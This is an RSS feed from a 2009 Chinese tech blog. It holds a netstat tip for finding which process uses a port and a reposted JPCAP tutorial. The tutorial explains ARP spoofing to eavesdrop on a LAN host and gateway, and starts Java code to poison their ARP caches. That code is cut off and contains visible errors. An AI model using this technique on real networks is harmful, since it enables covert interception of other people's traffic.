﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-微笑沙漠-随笔分类-网络相关技术</title><link>http://www.blogjava.net/cyantide/category/36412.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 10 Jan 2009 15:40:07 GMT</lastBuildDate><pubDate>Sat, 10 Jan 2009 15:40:07 GMT</pubDate><ttl>60</ttl><item><title>查找被占用端口</title><link>http://www.blogjava.net/cyantide/archive/2009/01/10/250832.html</link><dc:creator>微笑沙漠</dc:creator><author>微笑沙漠</author><pubDate>Sat, 10 Jan 2009 14:01:00 GMT</pubDate><guid>http://www.blogjava.net/cyantide/archive/2009/01/10/250832.html</guid><wfw:comment>http://www.blogjava.net/cyantide/comments/250832.html</wfw:comment><comments>http://www.blogjava.net/cyantide/archive/2009/01/10/250832.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyantide/comments/commentRss/250832.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyantide/services/trackbacks/250832.html</trackback:ping><description><![CDATA[<span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">一、开始</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">-&gt;</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">运行</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">-&gt;cmd</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">，输入</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">netstat -o -an</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">；</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"><br />
</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">二、打开</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">windows</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">任务管理器，</span><span style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"> </span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">查看</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">-&gt;</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">选择列</span><span style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"> </span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">勾选</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">pid</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">；</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt"><br />
</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">三、找到那个进程占用了</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">80</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">端口的</span><span lang="EN-US" style="color: red; font-family: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt">pid</span><span style="color: red; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">，解决之。</span>
<img src ="http://www.blogjava.net/cyantide/aggbug/250832.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyantide/" target="_blank">微笑沙漠</a> 2009-01-10 22:01 <a href="http://www.blogjava.net/cyantide/archive/2009/01/10/250832.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JPCAP简介(转)</title><link>http://www.blogjava.net/cyantide/archive/2009/01/09/250757.html</link><dc:creator>微笑沙漠</dc:creator><author>微笑沙漠</author><pubDate>Fri, 09 Jan 2009 15:45:00 GMT</pubDate><guid>http://www.blogjava.net/cyantide/archive/2009/01/09/250757.html</guid><wfw:comment>http://www.blogjava.net/cyantide/comments/250757.html</wfw:comment><comments>http://www.blogjava.net/cyantide/archive/2009/01/09/250757.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyantide/comments/commentRss/250757.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyantide/services/trackbacks/250757.html</trackback:ping><description><![CDATA[<p>一．JPCAP简介</p>
<p>　　众所周知，Java语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。</p>
<p>　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP等系统。</p>
<p>　　二．JPCAP机制</p>
<p>　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef strUCt _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。</p>
<p>　　1．NetworkInterface</p>
<p>　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继续自java.lang.Object的基本方法以外，没有定义其它方法。</p>
<p><br />
数据成员<br />
&nbsp;<br />
NetworkInterfaceAddress[]<br />
&nbsp;<br />
java.lang.String<br />
&nbsp;datalink_description.<br />
数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。<br />
&nbsp;<br />
java.lang.String<br />
&nbsp;datalink_name <br />
该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。<br />
&nbsp;<br />
java.lang.String<br />
&nbsp;description<br />
网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC <br />
&nbsp;<br />
boolean<br />
&nbsp;Loopback<br />
标志这个设备是否loopback设备。<br />
&nbsp;<br />
byte[]<br />
&nbsp;mac_address<br />
网卡的MAC地址，6个字节。<br />
&nbsp;<br />
java.lang.String<br />
&nbsp;Name<br />
这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}<br />
&nbsp;</p>
<p>　　2．JpcapCaptor</p>
<p>　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤要害字等等。</p>
<p><br />
数据成员<br />
&nbsp;<br />
int<br />
&nbsp;<br />
dropped_packets</p>
<p>抛弃的包的数目。<br />
&nbsp;<br />
protected int<br />
&nbsp;<br />
ID</p>
<p>这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。<br />
&nbsp;<br />
protected staticboolean[]<br />
&nbsp;<br />
instanciatedFlag</p>
<p>同样在官方文档中没有做任何说明，估计其为供内部使用。<br />
&nbsp;<br />
protected staticint<br />
&nbsp;<br />
MAX_NUMBER_OF_INSTANCE</p>
<p>同样在官方文档中没有做任何说明，估计其为供内部使用。<br />
&nbsp;<br />
int<br />
&nbsp;<br />
received_packets<br />
收到的包的数目<br />
&nbsp;</p>
<p>方法成员<br />
&nbsp;<br />
staticNetworkInterface[]<br />
&nbsp;<br />
getDeviceList() <br />
返回一个网络设备列表。<br />
&nbsp;<br />
staticJpcapCaptor<br />
&nbsp;<br />
openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) <br />
创建一个与指定设备的连接并返回该连接。注重，以上两个方法都是静态方法。</p>
<p>Interface：要打开连接的设备的实例；</p>
<p>Snaplen：这个是比较轻易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；</p>
<p>Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用；</p>
<p>To_ms：这个参数主要用于processPacket()方法，指定超时的时间；<br />
&nbsp;<br />
void<br />
&nbsp;<br />
Close()<br />
关闭调用该方法的设备的连接，相对于openDivece()打开连接。<br />
&nbsp;<br />
JpcapSender<br />
&nbsp;<br />
getJpcapSenderInstance() <br />
该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。<br />
&nbsp;<br />
Packet<br />
&nbsp;<br />
getPacket() <br />
捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。<br />
&nbsp;<br />
int<br />
&nbsp;<br />
loopPacket(intcount, PacketReceiver handler) <br />
捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。假如count参数设为－1，那么无限循环地捕捉数据。</p>
<p>这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，假如没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。<br />
PacketReceiver中只有一个抽象方法void receive(Packet p)。<br />
&nbsp;<br />
int<br />
&nbsp;<br />
processPacket(intcount, PacketReceiver handler) <br />
跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。<br />
&nbsp;<br />
int<br />
&nbsp;<br />
dispatchPacket(intcount, PacketReceiverhandler)<br />
跟processPacket()功能一样，区别是这个方法可以处于&#8220;non-blocking&#8221;模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。<br />
&nbsp;<br />
void<br />
&nbsp;<br />
setFilter(java.lang.Stringcondition, booleanoptimize) <br />
.condition：设定要提取的包的要害字。</p>
<p>Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数假如为真，那么过滤器将处于优化模式。<br />
&nbsp;<br />
void<br />
&nbsp;<br />
setNonBlockingMode(booleannonblocking)</p>
<p>假如值为&#8220;true&#8221;，那么设定为&#8220;non-blocking&#8221;模式。<br />
&nbsp;<br />
void<br />
&nbsp;<br />
breakLoop()</p>
<p>当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。<br />
&nbsp;</p>
<p>　　3．JpcapSender</p>
<p>　　该类专门用于控制数据包的发送。</p>
<p><br />
方法成员<br />
&nbsp;<br />
void<br />
&nbsp;<br />
close() <br />
强制关闭这个连接。<br />
&nbsp;<br />
staticJpcapSender<br />
&nbsp;<br />
openRawSocket()</p>
<p>这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。<br />
&nbsp;<br />
void<br />
&nbsp;<br />
sendPacket(Packet packet) <br />
JpcapSender最重要的功能，发送数据包。需要注重的是，假如调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而假如是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。<br />
&nbsp;</p>
<p>　　4．Packet</p>
<p>　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：<br />
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket</p>
<p>　　三．使用JPCAP实现监听</p>
<p>　　1．监听原理　</p>
<p>　　在具体说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。</p>
<p>　　局域网监听利用的是所谓的&#8220;ARP欺骗&#8221;技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要&#8220;欺骗&#8221;路由器、&#8220;欺骗&#8221;交换机，即&#8220;ARP欺骗&#8221;技术。</p>
<p>　　假设本机为A，监听目标为B。</p>
<p>　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。</p>
<p>　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。</p>
<p>　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。</p>
<p>　　ARP数据包解析</p>
<p>　　单元：Byte</p>
<p><br />
Ethernet头部<br />
&nbsp;<br />
ARP数据部分<br />
&nbsp;</p>
<p>6<br />
&nbsp;<br />
6<br />
&nbsp;<br />
2<br />
&nbsp;<br />
2<br />
&nbsp;<br />
2<br />
&nbsp;<br />
2<br />
&nbsp;<br />
2<br />
&nbsp;<br />
4<br />
&nbsp;<br />
6<br />
&nbsp;<br />
4<br />
&nbsp;<br />
6<br />
&nbsp;</p>
<p>目标MAC地址<br />
&nbsp;<br />
源地MAC地址<br />
&nbsp;<br />
类型号0x0800:ip</p>
<p>0x0806:ARP<br />
&nbsp;<br />
局域网类型</p>
<p>以太网0x0001<br />
&nbsp;<br />
网络协议类型</p>
<p>IP网络0x0800<br />
&nbsp;<br />
MAC/IP地址长度，恒为0x06/04<br />
&nbsp;<br />
ARP包类型</p>
<p>REPLY</p>
<p>0x0002<br />
&nbsp;<br />
ARP目标IP地址<br />
&nbsp;<br />
ARP目标MAC 地址<br />
&nbsp;<br />
ARP源IP地址<br />
&nbsp;<br />
ARP源MAC地址<br />
&nbsp;</p>
<p>　　2．用JPCAP实现监听</p>
<p>　　就如上面说的，为了实现监听，我们必须做四件事：</p>
<p>　　A．发送ARP包修改B的ARP缓存表；</p>
<p>　　B．发送ARP包修改路由ARP缓存表；</p>
<p>　　C．转发B发过来的数据包；</p>
<p>　　D．转发路由发过来的数据包；</p>
<p>　　下面我们给个小小的例子说明怎样实现。</p>
<p>　　我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。</p>
<p>&nbsp;</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img id="Codehighlighter1_22_3884_Open_Image" onclick="this.style.display='none'; Codehighlighter1_22_3884_Open_Text.style.display='none'; Codehighlighter1_22_3884_Closed_Image.style.display='inline'; Codehighlighter1_22_3884_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_22_3884_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_22_3884_Closed_Text.style.display='none'; Codehighlighter1_22_3884_Open_Image.style.display='inline'; Codehighlighter1_22_3884_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" /><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;changeARP</span><span id="Codehighlighter1_22_3884_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_22_3884_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;NetworkInterface[]&nbsp;devices;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">设备列表</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;NetworkInterface&nbsp;device;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">要使用的设备</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;JpcapCaptor&nbsp;jpcap;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">与设备的连接</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;JpcapSender&nbsp;sender;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">用于发送的实例</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;targetMAC,&nbsp;gateMAC;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">B的MAC地址，网关的MAC地址</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;String&nbsp;targetIp,&nbsp;String&nbsp;gateIp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">B的IP地址，网关的IP地址</span><span style="color: #008000"><br />
<img id="Codehighlighter1_308_648_Open_Image" onclick="this.style.display='none'; Codehighlighter1_308_648_Open_Text.style.display='none'; Codehighlighter1_308_648_Closed_Image.style.display='inline'; Codehighlighter1_308_648_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_308_648_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_308_648_Closed_Text.style.display='none'; Codehighlighter1_308_648_Open_Image.style.display='inline'; Codehighlighter1_308_648_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　</span><span id="Codehighlighter1_308_648_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**&nbsp;*/</span><span id="Codehighlighter1_308_648_Open_Text"><span style="color: #008000">/**</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*初始化设备<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*&nbsp;JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是&#8220;Generic&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*dialup&nbsp;adapter&#8221;，这是windows系统的虚拟网卡，并非真正的硬件设备。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*注重：在这里有一个小小的BUG，假如JpcapCaptor.getDeviceList()之前有类似JFrame&nbsp;jf=new<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*虚拟网卡只有MAC地址而没有IP地址，而且假如出现虚拟网卡，那么实际网卡的MAC将分<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*配给虚拟网卡，也就是说在程序中调用device.&nbsp;mac_address时得到的是00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　</span><span style="color: #008000">*/</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img id="Codehighlighter1_708_952_Open_Image" onclick="this.style.display='none'; Codehighlighter1_708_952_Open_Text.style.display='none'; Codehighlighter1_708_952_Closed_Image.style.display='inline'; Codehighlighter1_708_952_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_708_952_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_708_952_Closed_Text.style.display='none'; Codehighlighter1_708_952_Open_Image.style.display='inline'; Codehighlighter1_708_952_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;NetworkInterface&nbsp;getDevice()&nbsp;</span><span style="color: #0000ff">throws</span><span style="color: #000000">&nbsp;IOException&nbsp;</span><span id="Codehighlighter1_708_952_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_708_952_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　devices&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;JpcapCaptor.getDeviceList();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">获得设备列表</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　device&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;devices[</span><span style="color: #000000">0</span><span style="color: #000000">];</span><span style="color: #008000">//</span><span style="color: #008000">只有一个设备</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　jpcap&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;JpcapCaptor.openDevice(device,&nbsp;</span><span style="color: #000000">2000</span><span style="color: #000000">,&nbsp;</span><span style="color: #0000ff">false</span><span style="color: #000000">,&nbsp;</span><span style="color: #000000">10000</span><span style="color: #000000">);&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">打开与设备的连接</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　jpcap.setFilter(&#8220;ip&#8221;,</span><span style="color: #0000ff">true</span><span style="color: #000000">);&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">只监听B的IP数据包</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　sender&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;captor.getJpcapSenderInstance();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　}</span></span><span style="color: #000000"><br />
<img id="Codehighlighter1_955_1113_Open_Image" onclick="this.style.display='none'; Codehighlighter1_955_1113_Open_Text.style.display='none'; Codehighlighter1_955_1113_Closed_Image.style.display='inline'; Codehighlighter1_955_1113_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_955_1113_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_955_1113_Closed_Text.style.display='none'; Codehighlighter1_955_1113_Open_Image.style.display='inline'; Codehighlighter1_955_1113_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　</span><span id="Codehighlighter1_955_1113_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**&nbsp;*/</span><span id="Codehighlighter1_955_1113_Open_Text"><span style="color: #008000">/**</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*段时间就发一次包重新更改B和网关的ARP表。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*@参数&nbsp;targetMAC&nbsp;B的MAC地址，可通过ARP解析得到；<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*@参数&nbsp;targetIp&nbsp;B的IP地址；<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　*@参数&nbsp;gateMAC&nbsp;网关的MAC地址；<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　</span><span style="color: #008000">*/</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;changeARP(</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;targetMAC,&nbsp;String&nbsp;targetIp,</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;gateMAC,&nbsp;String&nbsp;gateIp)<br />
